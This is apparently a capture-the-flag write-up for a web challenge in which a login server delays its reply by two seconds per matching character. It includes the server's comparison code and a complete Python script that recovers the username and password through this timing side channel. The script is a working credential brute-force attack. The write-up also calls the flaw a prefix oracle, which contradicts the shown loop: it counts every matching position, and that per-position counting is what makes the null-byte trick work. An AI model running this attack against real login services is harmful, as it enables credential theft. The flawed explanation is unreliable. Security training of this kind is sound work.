DREAM: sleepy vault, blind timing attack credential recovery
Challenge
I seem to have forgotten most of my credentials for the sleepy vault. All I remember is that my username starts with
;JG[e]and my password starts with8~5. Can you help me recover my username and password? Remember: optimization is key!
- Category: web
- Difficulty: medium
I wrote this for DREAM in 2023.
The only thing you get is a login form. It is a blind challenge: the frontend reveals nothing about which part of the credentials are right, and there is no source to read. What you do get is response times.
Discovery
Random credentials answered in about 200 ms. When the username had the right prefix, the login visibly hung - and the more correct characters, the longer it hung. That’s the whole side channel: the server delays by the number of matching characters, so each one can be tested individually.
Vulnerability
The server compares the input against the stored credentials and delays by the number of matching characters:
function checkMatch(adminValue, userValue) {
let correctLetters = 0;
let match = adminValue === userValue;
if (!match) {
const minLength = Math.min(adminValue.length, userValue.length);
for (let i = 0; i < minLength; i++) {
if (adminValue[i] === userValue[i]) {
correctLetters++;
}
}
}
return { match, correctLetters };
}
let delay = 200;
if (correctLetters > 0) {
delay = correctLetters * 2000;
}
await new Promise((r) => setTimeout(r, delay));Each correct character adds 2 seconds. The loop compares position by position from the start, so a character only counts when every character before it also matched. That makes the delay a prefix oracle: a candidate at position N only gets the +2 s if positions 0 through N are all correct.
Exploit
I brute-forced both strings one character at a time. The known prefixes (;JG[e] and 8~5) were a free head start.
Two details keep the oracle clean:
- The known prefix is replaced with null bytes (
"\x00" * len(known)), so only the candidate character at the next position decides the count. The delay stays binary: 200 ms for a wrong candidate, 2 s for a correct one. (Sending the real prefix instead would shift the baseline by the prefix length, which still works, but the null-byte version makes each test unambiguous.) - The candidates are tried in parallel with a 0.8 s timeout, which sits between the two cases: a correct character takes ~2 s and raises a ReadTimeout, a wrong one returns in ~200 ms. Whichever candidate times out is the next character.
import concurrent.futures
from string import printable
from requests import ReadTimeout, post
endpoint = "https://sleepy-vault.ctf.stromlarsen.com/"
def send(a, character, do_username):
test = "\x00" * len(a) + character
data = {"username": test, "password": ""} if do_username else {
"username": "", "password": test}
try:
post(endpoint, data=data, timeout=0.8)
except ReadTimeout:
return character
return None
def brute(do_username, known=""):
while True:
found = False
with concurrent.futures.ThreadPoolExecutor(max_workers=100) as executor:
futures = [
executor.submit(send, known, printable[i], do_username)
for i in range(1, 100)
]
for future in concurrent.futures.as_completed(futures):
result = future.result()
if result is not None:
known += result
found = True
break
if not found:
return known
username = brute(do_username=True, known=";JG[e]")
password = brute(do_username=False, known="8~5")
print(username, password)Recovered credentials are ;JG[e]ev!l21<2 and 8~5[T5Wm,5'tj&; logging in with them returns the flag. The whole brute force takes about 25 seconds.